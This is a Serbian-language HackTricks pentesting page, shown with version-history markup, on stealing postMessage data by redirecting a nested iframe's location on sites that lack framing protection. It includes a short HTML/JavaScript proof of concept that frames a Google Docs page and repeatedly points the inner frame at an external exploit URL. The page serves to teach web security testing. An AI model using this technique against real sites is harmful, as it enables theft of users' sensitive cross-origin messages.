hacktricks/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md

49 lines
3.6 KiB
Markdown
Raw Normal View History

2024-02-10 13:11:20 +00:00
# Ukradi postmessage modifikovanjem lokacije iframe-a
2022-10-13 00:56:34 +00:00
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-10-13 00:56:34 +00:00
</details>
2024-02-10 13:11:20 +00:00
## Menjanje lokacija dečijih iframe-ova
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
Prema [**ovom objašnjenju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), ako možete da iframe-ujete veb stranicu bez X-Frame-Header-a koja sadrži drugi iframe, možete **promeniti lokaciju tog dečijeg iframe-a**.
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
Na primer, ako abc.com ima efg.com kao iframe i abc.com nema X-Frame header, mogu promeniti efg.com u evil.com preko, **`frames.location`**.
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
Ovo je posebno korisno kod **postMessages** jer ako stranica šalje osetljive podatke koristeći **wildcard** kao što je `windowRef.postmessage("","*")`, moguće je **promeniti lokaciju povezanog iframe-a (dečijeg ili roditeljskog) na lokaciju koju kontroliše napadač** i ukrasti te podatke.
2022-10-13 00:56:34 +00:00
```html
<html>
2024-02-10 13:11:20 +00:00
<iframe src="https://docs.google.com/document/ID" />
<script>
//pseudo code
setTimeout(function(){ exp(); }, 6000);
function exp(){
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
setInterval(function(){
window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
}, 100);
}
</script>
2022-10-13 00:56:34 +00:00
</html>
```
<details>
2024-02-10 13:11:20 +00:00
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-10-13 00:56:34 +00:00
2024-02-10 13:11:20 +00:00
* Da li radite u **cybersecurity kompaniji**? Želite li da vidite vašu **kompaniju reklamiranu na HackTricks-u**? Ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitter-u** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na [hacktricks repo](https://github.com/carlospolop/hacktricks) i [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
2022-10-13 00:56:34 +00:00
</details>